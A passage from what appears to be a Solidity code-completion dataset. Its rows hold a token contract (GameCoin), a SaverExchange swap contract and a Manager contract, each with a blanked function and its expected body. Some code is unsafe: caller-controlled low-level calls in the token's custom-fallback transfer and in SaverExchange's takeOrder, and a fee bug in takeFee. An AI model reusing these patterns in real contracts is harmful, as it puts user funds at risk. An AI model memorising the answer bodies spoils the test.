balances[0xd175fb3b65eDC995DC9b2dAE705270448D8A5231]=328900;
balances[0x86dE9262Aa13f1351C9009B6BC1B1a432C96f005]=274068;
balances[0x08E004E3741052Fd00e49384088e2D6F81f97fd5]=1264492;
balances[0xc1F81207791DDa997542625cb86CC0D8Af7dfAb4]=1138500;
balances[0x913E5A823A614ad226c810e55154f3f385F647F0]=1150000;
balances[0x7f4823876318faD7321FD813b7aBd4A7C60C12A5]=1150000;
balances[0xcd9E6E0E63C5611ab1988e0569E3aD89b86086c6]=199299;
balances[0xb1Dd23a37776c1d3E1F0c874d1F72589F3c59E44]=1138500;
balances[0xfE2ceCCC914be290d49712d4715438268FC76359]=1150000;
balances[0x3dd9cFE0D6eE68163aCd1EeB6De9f4D3A580839D]=505825;
balances[0x9323D4704fB877CD090Ba715B11Da9A3eDFdA7Ef]=275000;
balances[0x0c747c7EEdf05515425AdD4061911Ae9F039F4Df]=821160;
balances[0x51a23f481037CA208086f42FE83D28B71c1EbC2c]=345000;
balances[0x42E1Fb8EC1830DBe4e5Ed5Ce60Bd307D3AcBB5a1]=14950;
balances[0x4fa531A7da9b0FA37cC60eb26eE7393B39c616B1]=945000;
balances[0x9383D952e4aa5C33c86d11932877D1D523097702]=221958;
balances[0xd5FECA4d252b298d7500c05766049210e2BD6C03]=600000;
balances[0xf4e5DA75e054FE7373a8Db3B5aD4E2d35404b7F3]=1096;
balances[0xA46BBC28cB381A6c383DAE0D3eAb39A78d9bd704]=342402;
balances[0xc94AB3B27218b1E5C24Fdb7cE169EB8bD5a58060]=1922965;
balances[0x7111B872B505992b2a61f5F3b7A31E6A589F9ba2]=2265500;
balances[0x66D94665903a8c5A7e2E065e654610e4C0E3d510]=1155060;
balances[0x180d932fbD59C12c180087085cDCDFa50f20C7DB]=1150000;
balances[0x07ACDd672aB32251C38560F14bd3b325A3392a42]=8904900;
balances[0x9b0Ae3d7A088101BbC027685B31020e88D776795]=101727;
balances[0x9608D348627CcB2FEcd97ab2896DB2516dDCdD9F]=2000000;
balances[0x82b9EedCAA518352BDb1aC80F5a214857f29a3fc]=260000;
balances[0x26BD273Ad192046E4cE16f3c23f4D4A273176C6c]=400000;
balances[0x3707D0B7EB1A3e70E2a892aAD4938be493b053Ef]=995000;
balances[0x687Eab8387faFca0E894c7890571cb8885d06252]=100000;
balances[0x29B41749C1b019624dB2Eca34852aAd1435E2FB2]=1150000;
balances[0x985B1beC38e6402C9EE39b6f0c26518899026e4c]=1000000;
balances[0x0674C588aB53256a0ef619CAfB459324Dc8Ea009]=1655620;
balances[0x84A3A12B84C57E1Fe22fAB1CC3Ad40308cB53ecd]=3980559;
balances[0x0B8a97a036bCc47707a11231362435e937f35536]=900000;
balances[0x99DfCa33bAABC6812Ebe8C790EeD515D8B36B69E]=160000;
balances[0xF85D5c4197caa5ec2fC97761b0D51A012F4BE84f]=11525;
balances[0xbBb40eC9E24C6D387843dfEA84Baa5E8BD6Fd3e9]=2000000;
balances[0x8df3185D971B5C657D0f2E9B53Dc0bBe5912F42e]=1000000;
balances[0xa1ec5e1274A5FA126415453968c9929c3F91FEE7]=100000;
balances[0x3607e4119Ef3E2a72E55D18B5feaA81c6140E85e]=200000;
balances[0x26a74e056EB4E3607792DCd87070E468878d14E9]=70000;
balances[0x517DB8116c84888Fa8013AB18B7E5F2f5e152508]=100000;
balances[0x547376929E8A4abcC04c32268c43d4924f2Ac985]=1749903;
balances[0xA6d8aD119eAC13Fe161BEff88be65FC9624C1340]=942438;
balances[0xdb090dDaC7A159Eb6161c8591aED719d80875f37]=996417;
balances[0x922D65456B8B1DeDC6F3EFcDB2981163144E96ee]=48300;
balances[0x63235E4764A0072fE68Bdd32D1A16813E5fc9d49]=1457548;
balances[0x68aD20aa347f5E719EF4476B25154B4d547a6275]=753951;
balances[0x75393B6949157376f93C1e56220ACD5457323135]=1506758;
balances[0x1796c3f4E9E877A79df5923bf8bE9aB925F7deD4]=200000;
balances[0xF0ED57958dD75DBD20374D46F1547dED0D717b4b]=1000000;
balances[0x1a2EB5ADf16aA5915AC70f6C530680945F5DAdF4]=132170;
balances[0x5ec85d2f4891bB5034bE10BA9B3B0253cc394Cd9]=205299;
balances[0x179278CB0659957675f9f3E7f949C3CcA283F153]=110000;
balances[0xCA4bB096407E7c2b2c0E67D5173FD9BB8E452647]=100000;
balances[0xdd8b17C94B097587108476bf1AC31Ce02cFa6c12]=181097;
balances[0xA7b1a07AF73f52A9bcD22C6BF2122577bb4f7900]=130000;
balances[0x38a6d1c82E8f3E04940FeA95E583Bdc24df964e4]=543404;
balances[0x8A39dBa536919aB530E5b4dA9f4686A350eb2379]=1000000;
balances[0x113b1501D2B6bf0f84D720Cec93928aD552749D2]=100000;
balances[0xa028fAF0f1DC3176069F755AE643AbE13aA53E1b]=33596;
balances[0x29D70Bb2FE698ae19cBD317fedaB4BcE3Cd3E85c]=490000;
balances[0xb9aC6748E56a67D99F1869E701DedAB25A90cFC5]=100000;
balances[0x90785Da382Cea9d3352D6ad8935816BADFFB3D73]=2167608;
balances[0x8661C945bE98c81191BB4d6254bfe1B475AB86a5]=347154;
balances[0x36bA740450a224E866b3C17B46C33CDB80a8e718]=2600365;
balances[0x0DF2781a47a1fa23F3D73E79E089E5e178A72ba6]=67390;
balances[0x1914D9FD18c6aC7cF2c2135be38E9D746aAa4743]=12095033;
balances[0x2314401bDD5318A88A9a0c05FB07B800dae88ED8]=627865;
balances[0x300bD3b89cBf26292bD58c99dB2851f14050a221]=345000;
balances[0x23E2F1e5b874ac14039306804912aEb66713FCa2]=276181;
balances[0xB365C8583B4fAc9C1352E3FFa2Bdb68C663C1A06]=78435;
balances[0x0E9822f773e93d8C58255451f4f4Af78F5374353]=785839;
balances[0xC006E4931AD1FD622B20bF66844C34676834A05f]=141365;
balances[0x04a2209bB6fa3c8ae05A6133b27d628D18054853]=179713;
balances[0x8bC1b34c9712Af6B891A12f9C6311b0D3B8CBfa8]=1280058;
balances[0x38a548Ba2235245FD99c2116b9a1211AaD54B28D]=5014000;
balances[0x55781922C48A3F51C38153365c795ca06383a177]=2415000;
balances[0xB97559fe630EB888aEa2fBD6dB4a67909d7e5879]=407067;
balances[0x83AB7422A347Ddb8957725F08a103107bb119328]=5510;
balances[0x2D7dc7b96e9dFb393CFa466eAC6c494BDa28604a]=245000;
balances[0xE804b632cd624Bd80a2a4DdBc9d0aD3984e54F93]=25000;
balances[0x0CfB3a673d6E735c5b9E9a9A9Da032E960CD8CD4]=123049;
balances[0x44344Dc9974706c34f53B92167275a34f4AB1EE8]=44753;
balances[0x4C65118325dcd97E8724cd4E763703f7263f0DDF]=180000;
balances[0x5Fc8f1D8B9Eeebf2Cf6a2eE5c20b3dEF6b2d10B5]=1044750;
balances[0x0280EF5689728A8eD0eC93A49F700ea251eB64fB]=44275000;
balances[0xc784a88c444cCB22eb744ffA3Dd37b78F9F29f9D]=187915;
balances[0xCdc35eD04Cf4eeb74dD82eABe82cbB386Aa79D1c]=575000;
balances[0xF53786FF94a25DB623A028B08B69aa875648986B]=10127000;
balances[0x36621EA0B079CEDD13026e321BfC4924d55a6008]=8480114;
balances[0xbE8a87EE71db2323515787Ae37A198cA898188Ae]=3453850;
balances[0xB7237539824a984Cd095F6509E7D7bB710f3c6FA]=70000;
balances[0x1b42dFB72B02fFB15F369C38F39E6753980B6a89]=51672;
balances[0xb7FFb5174BF7382a1445C735166f49fdCa893884]=480386;
balances[0x50DF172676De7d1769877fd1A4221F634bF9B9D7]=245000;
balances[0x67E7e452a8671eFecb9284c483dE75C3fF1f02A9]=13168935;
balances[0xBFa4d7beAcA87AaE890fe79C948Cc057B409156B]=38994;
balances[0xD1c6ad2b3F196252629787D0CdCa69ED4d76a890]=111879;
balances[0xBF6C51b740ee3dd7650aA9958a57A58caeaBF4d2]=1316666;
balances[0x0056D18AEF3FF077826dd50c68cef9ddC84a6827]=108000;
balances[0x4Bd6B497DE1a41bF4B29a4387DD4CD9030b583AA]=315392;
balances[0xe38Bf41d25C21b411C406822f4eC682753E3a8b5]=6170363;
balances[0x6EE0D8DE8829C0648B1f0682A04b89a13dD3Bb6d]=279361;
balances[0x0e4d86cf3CbF43dBF588B9C7FF3cD29CE1a46e19]=101122;
balances[0x1bD7DE6Ec470914663850bAa88E6a57B30E42e7C]=251945;
balances[0x85478a6aD555Ef567B9ff2acdF0024DD643D16D6]=1990000;
balances[0x1b84B3FD554d2338926D43A0cdd4D7aFD7d62E29]=10000000;
balances[0x92844ad0530580F3ecc459f7B203a1853027bD01]=6900000;
balances[0x2E87Eb67a51fD130Ab4d056f48c6256B201E2a96]=260792;
balances[0x56D18AEf3Ff077826dD50c68cef9ddC84a6827ee]=6080000;
balances[0x33c33E5F1C41477df3715575A8f0CC9E2330C3A8]=223228;
balances[0x5765725f2a0e30DABcFc838701Ed01CaaB0564e8]=354161;
balances[0x058dfCDB62C93a5f78e8C5D162911f46269aDB4c]=2500000;
balances[0x826f679FBDCAC418352737dDf57dbddDE37C3603]=16100;
balances[0xAFfb92c9bf7Fe534a38E29428a89dfFf91F06362]=65676;
balances[0xd8A3B9456cB819f19Cf230bB5b31f1d88f6A128F]=140000;
balances[0x47c0f4ADe7C8A071EA98DB4739F1fdEfFcb89bE0]=10350200;
balances[0x3271bB92A304503Cb09a58e9f822DFD9C5187095]=279361;
balances[0x5D4545ab1016039F2CA7f6038d2044069e4EF6a0]=5000000;
balances[0x4F18A7fE4e3476191098453F973d93c120a5046b]=94817;
balances[0x9157C680585718ffdb621031cC93b6EcC4cA763C]=320499;
balances[0xF6eBf541d7cfBC0cB3ACeF0b2aeF70992db5abE4]=3720;
balances[0x18556A2F95d86F4681420c97a2b3EcE70b07F54C]=29763;
balances[0xA6189D516d88857583Af24A500Ae47E5326b2aBf]=529049;
balances[0x211af5659bCec2cf14AcF7Ef3069C8be9c318D3C]=416667;
balances[0xFbD1Db8B6F9B0c3f47a9f731200CA85725aADdD2]=124271;
balances[0xB469C927e1a8485d8ae2F6e16b1654167Bb185D6]=416667;
balances[0x8C00526818eeCA6b4BdA0fD534b8f1d53c78E200]=200000;
balances[0x007aDfB8C0Fa143E9c0d4260172D88A3ef38F6e9]=365198;
balances[0x6856f0FF9619bD151bD4E34cF8a9B613d3A0d161]=731882;
balances[0x1C0576530BBB246d834F847b8EB634377CCC5eD2]=700065;
balances[0x5106B0860475CdF3F74D1B3fdfc5619eE2C51Aa5]=141377;
balances[0xc076c1C52BfDBb15507102AaDA4473a039963F4f]=25000000;
balances[0x93970080A078980B8B121A556A60f3a114FB9169]=706889;
balances[0x9FfDca13b7ea0ddE97Dce2a286E453518eF34C00]=744093;
balances[0x65c6D15C2772B42c745c980dbcB5FB0f74974385]=26043;
balances[0x961E7e3558F31C647fc4D39B0aC2544E786cCd3f]=333668;
balances[0xA07b23625BD37378f24023bc7B55eB501F3cC4Ed]=96732;
balances[0x73F15eBEBDe578024A60A4cDf626689efF2B9065]=372046;
balances[0x9865F77f5A21595329f05A9D8a47F6Da966E0b38]=23029;
balances[0x65c6f7A45A005CCC1979599473aA79Ca73D6efb0]=57317;
balances[0xa0D2F4B648beAff668dDBa8e748Ac135c4c49F84]=369639;
balances[0x9f8EdE9F051f946788211549b70CfEF5c81B447B]=1000000;
balances[0xAbe5CCb78502727c8CF17CfA79b218e889DD62bB]=102004;
balances[0xE6ba478c352DE046aa3D9279A61A43850F3a609c]=101008;
balances[0xd889C102e974ef2bA128D3caa60C463A3ae8F989]=163700;
balances[0x803CbCF07c4cFA1874dad6BCeD796aB5320b3d89]=4500;
balances[0xe8621096d55C7B970bF88cc4e597f29dA4b55218]=170455;
balances[0x4347da950003a9C0E477eC625CD1b57620B762DE]=1150000;
balances[0x8Cf2Bef55EA9a7908029853CF6289356f24e332B]=210833;
balances[0xC6B24D95E69D9F74eA90C419F4B4F71e6433b2EE]=13761;
balances[0x9B1f1962b65deAA7c1C495a36767f48019f24205]=57500;
balances[0x976d00C6aaf3E49E2615665D81B70080933D8623]=516488;
balances[0xafCe1E95eB00824B0368E2574c81ea04252D09aA]=86071;
balances[0x60995c4c4b7B9EA3D6dE08a7bf8AAf1188aF943B]=27523;
balances[0xc50c9457a5b0849999e2b89db8dDeA23436f3c46]=61345;
balances[0x042a3E1aB9eB9Aa7B06c63eaAfb99F0EEE37c9aC]=42000;
balances[0x52437Ce5c02de9B0A5D933E6902a9509f33353B4]=86071;
balances[0x6FBb288E14a37a94f69c18a0eD24FaC1145b9900]=522827500;
balances[0x33C8d18e9b46872CeBb31384bFBEc53Cb32Ccf12]=24876206872;
name = "GameCoin";
symbol = "GMC";
decimals = 2;
}
// Function to access name of token .
function name() constant returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() constant returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() constant returns (uint48 _totalSupply) {
return totalSupply;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint48 _value, bytes _data, string _custom_fallback) returns (bool success) {
if(isContract(_to)) {
require(balanceOf(msg.sender) >= _value);
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint48 _value, bytes _data) returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint48 _value) returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
<FILL_FUNCTION>
//function that is called when transaction target is a contract
function transferToContract(address _to, uint48 _value, bytes _data) private returns (bool success) {
require(balanceOf(msg.sender) >= _value);
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) constant returns (uint48 balance) {
return balances[_owner];
}
} |
require(balanceOf(msg.sender) >= _value);
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
return true;
| function transferToAddress(address _to, uint48 _value, bytes _data) private returns (bool success) | //function that is called when transaction target is an address
function transferToAddress(address _to, uint48 _value, bytes _data) private returns (bool success) |
47699 | SaverExchange | getBestPrice | contract SaverExchange is DSMath, SaverExchangeConstantAddresses {
uint256 public constant SERVICE_FEE = 800;
event Swap(
address src,
address dest,
uint256 amountSold,
uint256 amountBought,
address wrapper
);
function swapTokenToToken(
address _src,
address _dest,
uint256 _amount,
uint256 _minPrice,
uint256 _exchangeType,
address _exchangeAddress,
bytes memory _callData,
uint256 _0xPrice
) public payable {
address[3] memory orderAddresses = [_exchangeAddress, _src, _dest];
if (orderAddresses[1] == KYBER_ETH_ADDRESS) {
require(msg.value >= _amount, "msg.value smaller than amount");
} else {
require(
ERC20(orderAddresses[1]).transferFrom(msg.sender, address(this), _amount),
"Not able to withdraw wanted amount"
);
}
uint256 fee = takeFee(_amount, orderAddresses[1]);
_amount = sub(_amount, fee);
uint256[2] memory tokens;
address wrapper;
uint256 price;
bool success;
tokens[1] = _amount;
if (_exchangeType == 4) {
if (orderAddresses[1] != KYBER_ETH_ADDRESS) {
ERC20(orderAddresses[1]).approve(address(ERC20_PROXY_0X), _amount);
}
(success, tokens[0], ) = takeOrder(
orderAddresses,
_callData,
address(this).balance,
_amount
);
require(success && tokens[0] > 0, "0x transaction failed");
wrapper = address(_exchangeAddress);
}
if (tokens[0] == 0) {
(wrapper, price) = getBestPrice(
_amount,
orderAddresses[1],
orderAddresses[2],
_exchangeType
);
require(price > _minPrice || _0xPrice > _minPrice, "Slippage hit");
if (_0xPrice >= price) {
if (orderAddresses[1] != KYBER_ETH_ADDRESS) {
ERC20(orderAddresses[1]).approve(address(ERC20_PROXY_0X), _amount);
}
(success, tokens[0], tokens[1]) = takeOrder(
orderAddresses,
_callData,
address(this).balance,
_amount
);
if (success && tokens[0] > 0) {
wrapper = address(_exchangeAddress);
emit Swap(orderAddresses[1], orderAddresses[2], _amount, tokens[0], wrapper);
}
}
if (tokens[1] > 0) {
if (tokens[1] != _amount) {
(wrapper, price) = getBestPrice(
tokens[1],
orderAddresses[1],
orderAddresses[2],
_exchangeType
);
}
require(price > _minPrice, "Slippage hit onchain price");
if (orderAddresses[1] == KYBER_ETH_ADDRESS) {
(tokens[0], ) = ExchangeInterface(wrapper).swapEtherToToken.value(tokens[1])(
tokens[1],
orderAddresses[2],
uint256(-1)
);
} else {
ERC20(orderAddresses[1]).transfer(wrapper, tokens[1]);
if (orderAddresses[2] == KYBER_ETH_ADDRESS) {
tokens[0] = ExchangeInterface(wrapper).swapTokenToEther(
orderAddresses[1],
tokens[1],
uint256(-1)
);
} else {
tokens[0] = ExchangeInterface(wrapper).swapTokenToToken(
orderAddresses[1],
orderAddresses[2],
tokens[1]
);
}
}
emit Swap(orderAddresses[1], orderAddresses[2], _amount, tokens[0], wrapper);
}
}
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
if (orderAddresses[2] != KYBER_ETH_ADDRESS) {
if (ERC20(orderAddresses[2]).balanceOf(address(this)) > 0) {
ERC20(orderAddresses[2]).transfer(
msg.sender,
ERC20(orderAddresses[2]).balanceOf(address(this))
);
}
}
if (orderAddresses[1] != KYBER_ETH_ADDRESS) {
if (ERC20(orderAddresses[1]).balanceOf(address(this)) > 0) {
ERC20(orderAddresses[1]).transfer(
msg.sender,
ERC20(orderAddresses[1]).balanceOf(address(this))
);
}
}
}
function takeOrder(
address[3] memory _addresses,
bytes memory _data,
uint256 _value,
uint256 _amount
) private returns (bool, uint256, uint256) {
bool success;
(success, ) = _addresses[0].call.value(_value)(_data);
uint256 tokensLeft = _amount;
uint256 tokensReturned = 0;
if (success) {
if (_addresses[1] == KYBER_ETH_ADDRESS) {
tokensLeft = address(this).balance;
} else {
tokensLeft = ERC20(_addresses[1]).balanceOf(address(this));
}
if (_addresses[2] == KYBER_ETH_ADDRESS) {
TokenInterface(WETH_ADDRESS).withdraw(
TokenInterface(WETH_ADDRESS).balanceOf(address(this))
);
tokensReturned = address(this).balance;
} else {
tokensReturned = ERC20(_addresses[2]).balanceOf(address(this));
}
}
return (success, tokensReturned, tokensLeft);
}
function getBestPrice(
uint256 _amount,
address _srcToken,
address _destToken,
uint256 _exchangeType
) public returns (address, uint256) {<FILL_FUNCTION_BODY> }
function getExpectedRate(
address _wrapper,
address _srcToken,
address _destToken,
uint256 _amount
) public returns (uint256) {
bool success;
bytes memory result;
(success, result) = _wrapper.call(
abi.encodeWithSignature(
"getExpectedRate(address,address,uint256)",
_srcToken,
_destToken,
_amount
)
);
if (success) {
return sliceUint(result, 0);
} else {
return 0;
}
}
function takeFee(uint256 _amount, address _token) internal returns (uint256 feeAmount) {
uint256 fee = SERVICE_FEE;
if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(msg.sender)) {
fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(msg.sender);
}
if (fee == 0) {
feeAmount = 0;
} else {
feeAmount = _amount / SERVICE_FEE;
if (_token == KYBER_ETH_ADDRESS) {
WALLET_ID.transfer(feeAmount);
} else {
ERC20(_token).transfer(WALLET_ID, feeAmount);
}
}
}
function getDecimals(address _token) internal view returns (uint256) {
if (_token == address(0xE0B7927c4aF23765Cb51314A0E0521A9645F0E2A)) {
return 9;
}
if (_token == address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)) {
return 6;
}
if (_token == address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599)) {
return 8;
}
return 18;
}
function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) {
require(bs.length >= start + 32, "slicing out of range");
uint256 x;
assembly {
x := mload(add(bs, add(0x20, start)))
}
return x;
}
function() external payable {}
} | contract SaverExchange is DSMath, SaverExchangeConstantAddresses {
uint256 public constant SERVICE_FEE = 800;
event Swap(
address src,
address dest,
uint256 amountSold,
uint256 amountBought,
address wrapper
);
function swapTokenToToken(
address _src,
address _dest,
uint256 _amount,
uint256 _minPrice,
uint256 _exchangeType,
address _exchangeAddress,
bytes memory _callData,
uint256 _0xPrice
) public payable {
address[3] memory orderAddresses = [_exchangeAddress, _src, _dest];
if (orderAddresses[1] == KYBER_ETH_ADDRESS) {
require(msg.value >= _amount, "msg.value smaller than amount");
} else {
require(
ERC20(orderAddresses[1]).transferFrom(msg.sender, address(this), _amount),
"Not able to withdraw wanted amount"
);
}
uint256 fee = takeFee(_amount, orderAddresses[1]);
_amount = sub(_amount, fee);
uint256[2] memory tokens;
address wrapper;
uint256 price;
bool success;
tokens[1] = _amount;
if (_exchangeType == 4) {
if (orderAddresses[1] != KYBER_ETH_ADDRESS) {
ERC20(orderAddresses[1]).approve(address(ERC20_PROXY_0X), _amount);
}
(success, tokens[0], ) = takeOrder(
orderAddresses,
_callData,
address(this).balance,
_amount
);
require(success && tokens[0] > 0, "0x transaction failed");
wrapper = address(_exchangeAddress);
}
if (tokens[0] == 0) {
(wrapper, price) = getBestPrice(
_amount,
orderAddresses[1],
orderAddresses[2],
_exchangeType
);
require(price > _minPrice || _0xPrice > _minPrice, "Slippage hit");
if (_0xPrice >= price) {
if (orderAddresses[1] != KYBER_ETH_ADDRESS) {
ERC20(orderAddresses[1]).approve(address(ERC20_PROXY_0X), _amount);
}
(success, tokens[0], tokens[1]) = takeOrder(
orderAddresses,
_callData,
address(this).balance,
_amount
);
if (success && tokens[0] > 0) {
wrapper = address(_exchangeAddress);
emit Swap(orderAddresses[1], orderAddresses[2], _amount, tokens[0], wrapper);
}
}
if (tokens[1] > 0) {
if (tokens[1] != _amount) {
(wrapper, price) = getBestPrice(
tokens[1],
orderAddresses[1],
orderAddresses[2],
_exchangeType
);
}
require(price > _minPrice, "Slippage hit onchain price");
if (orderAddresses[1] == KYBER_ETH_ADDRESS) {
(tokens[0], ) = ExchangeInterface(wrapper).swapEtherToToken.value(tokens[1])(
tokens[1],
orderAddresses[2],
uint256(-1)
);
} else {
ERC20(orderAddresses[1]).transfer(wrapper, tokens[1]);
if (orderAddresses[2] == KYBER_ETH_ADDRESS) {
tokens[0] = ExchangeInterface(wrapper).swapTokenToEther(
orderAddresses[1],
tokens[1],
uint256(-1)
);
} else {
tokens[0] = ExchangeInterface(wrapper).swapTokenToToken(
orderAddresses[1],
orderAddresses[2],
tokens[1]
);
}
}
emit Swap(orderAddresses[1], orderAddresses[2], _amount, tokens[0], wrapper);
}
}
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
if (orderAddresses[2] != KYBER_ETH_ADDRESS) {
if (ERC20(orderAddresses[2]).balanceOf(address(this)) > 0) {
ERC20(orderAddresses[2]).transfer(
msg.sender,
ERC20(orderAddresses[2]).balanceOf(address(this))
);
}
}
if (orderAddresses[1] != KYBER_ETH_ADDRESS) {
if (ERC20(orderAddresses[1]).balanceOf(address(this)) > 0) {
ERC20(orderAddresses[1]).transfer(
msg.sender,
ERC20(orderAddresses[1]).balanceOf(address(this))
);
}
}
}
function takeOrder(
address[3] memory _addresses,
bytes memory _data,
uint256 _value,
uint256 _amount
) private returns (bool, uint256, uint256) {
bool success;
(success, ) = _addresses[0].call.value(_value)(_data);
uint256 tokensLeft = _amount;
uint256 tokensReturned = 0;
if (success) {
if (_addresses[1] == KYBER_ETH_ADDRESS) {
tokensLeft = address(this).balance;
} else {
tokensLeft = ERC20(_addresses[1]).balanceOf(address(this));
}
if (_addresses[2] == KYBER_ETH_ADDRESS) {
TokenInterface(WETH_ADDRESS).withdraw(
TokenInterface(WETH_ADDRESS).balanceOf(address(this))
);
tokensReturned = address(this).balance;
} else {
tokensReturned = ERC20(_addresses[2]).balanceOf(address(this));
}
}
return (success, tokensReturned, tokensLeft);
}
<FILL_FUNCTION>
function getExpectedRate(
address _wrapper,
address _srcToken,
address _destToken,
uint256 _amount
) public returns (uint256) {
bool success;
bytes memory result;
(success, result) = _wrapper.call(
abi.encodeWithSignature(
"getExpectedRate(address,address,uint256)",
_srcToken,
_destToken,
_amount
)
);
if (success) {
return sliceUint(result, 0);
} else {
return 0;
}
}
function takeFee(uint256 _amount, address _token) internal returns (uint256 feeAmount) {
uint256 fee = SERVICE_FEE;
if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(msg.sender)) {
fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(msg.sender);
}
if (fee == 0) {
feeAmount = 0;
} else {
feeAmount = _amount / SERVICE_FEE;
if (_token == KYBER_ETH_ADDRESS) {
WALLET_ID.transfer(feeAmount);
} else {
ERC20(_token).transfer(WALLET_ID, feeAmount);
}
}
}
function getDecimals(address _token) internal view returns (uint256) {
if (_token == address(0xE0B7927c4aF23765Cb51314A0E0521A9645F0E2A)) {
return 9;
}
if (_token == address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)) {
return 6;
}
if (_token == address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599)) {
return 8;
}
return 18;
}
function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) {
require(bs.length >= start + 32, "slicing out of range");
uint256 x;
assembly {
x := mload(add(bs, add(0x20, start)))
}
return x;
}
function() external payable {}
} |
uint256 expectedRateKyber;
uint256 expectedRateUniswap;
uint256 expectedRateOasis;
if (_exchangeType == 1) {
return (OASIS_WRAPPER, getExpectedRate(OASIS_WRAPPER, _srcToken, _destToken, _amount));
}
if (_exchangeType == 2) {
return (KYBER_WRAPPER, getExpectedRate(KYBER_WRAPPER, _srcToken, _destToken, _amount));
}
if (_exchangeType == 3) {
expectedRateUniswap = getExpectedRate(UNISWAP_WRAPPER, _srcToken, _destToken, _amount);
expectedRateUniswap = expectedRateUniswap * (10**(18 - getDecimals(_destToken)));
return (UNISWAP_WRAPPER, expectedRateUniswap);
}
expectedRateKyber = getExpectedRate(KYBER_WRAPPER, _srcToken, _destToken, _amount);
expectedRateUniswap = getExpectedRate(UNISWAP_WRAPPER, _srcToken, _destToken, _amount);
expectedRateUniswap = expectedRateUniswap * (10**(18 - getDecimals(_destToken)));
expectedRateOasis = getExpectedRate(OASIS_WRAPPER, _srcToken, _destToken, _amount);
expectedRateOasis = expectedRateOasis * (10**(18 - getDecimals(_destToken)));
if (
(expectedRateKyber >= expectedRateUniswap) && (expectedRateKyber >= expectedRateOasis)
) {
return (KYBER_WRAPPER, expectedRateKyber);
}
if (
(expectedRateOasis >= expectedRateKyber) && (expectedRateOasis >= expectedRateUniswap)
) {
return (OASIS_WRAPPER, expectedRateOasis);
}
if (
(expectedRateUniswap >= expectedRateKyber) && (expectedRateUniswap >= expectedRateOasis)
) {
return (UNISWAP_WRAPPER, expectedRateUniswap);
}
| function getBestPrice(
uint256 _amount,
address _srcToken,
address _destToken,
uint256 _exchangeType
) public returns (address, uint256) | function getBestPrice(
uint256 _amount,
address _srcToken,
address _destToken,
uint256 _exchangeType
) public returns (address, uint256) |
91549 | Manager | newManager | contract Manager
{
address public contractManager; //address to manage the token contract
bool public paused = false; // Indicates whether the token contract is paused or not.
event NewContractManager(address newManagerAddress); //Will display change of token manager
/**
* @notice Function constructor for contract Manager with no parameters
*
*/
function Manager() public
{
contractManager = msg.sender; //address that creates contracts will manage it
}
/**
* @notice onlyManager restrict management operations to the Manager of contract
*/
modifier onlyManager()
{
require(msg.sender == contractManager);
_;
}
/**
* @notice Manager set a new manager
*/
function newManager(address newManagerAddress) public onlyManager
{<FILL_FUNCTION_BODY> }
/**
* @dev Event fired when the token contracts gets paused.
*/
event Pause();
/**
* @notice Event fired when the token contracts gets unpaused.
*/
event Unpause();
/**
* @notice Allows a function to be called only when the token contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Pauses the token contract.
*/
function pause() public onlyManager whenNotPaused {
paused = true;
emit Pause();
}
/**
* @notice Unpauses the token contract.
*/
function unpause() public onlyManager {
require(paused);
paused = false;
emit Unpause();
}
} | contract Manager
{
address public contractManager; //address to manage the token contract
bool public paused = false; // Indicates whether the token contract is paused or not.
event NewContractManager(address newManagerAddress); //Will display change of token manager
/**
* @notice Function constructor for contract Manager with no parameters
*
*/
function Manager() public
{
contractManager = msg.sender; //address that creates contracts will manage it
}
/**
* @notice onlyManager restrict management operations to the Manager of contract
*/
modifier onlyManager()
{
require(msg.sender == contractManager);
_;
}
<FILL_FUNCTION>
/**
* @dev Event fired when the token contracts gets paused.
*/
event Pause();
/**
* @notice Event fired when the token contracts gets unpaused.
*/
event Unpause();
/**
* @notice Allows a function to be called only when the token contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Pauses the token contract.
*/
function pause() public onlyManager whenNotPaused {
paused = true;
emit Pause();
}
/**
* @notice Unpauses the token contract.
*/
function unpause() public onlyManager {
require(paused);
paused = false;
emit Unpause();
}
} |
require(newManagerAddress != 0);
contractManager = newManagerAddress;
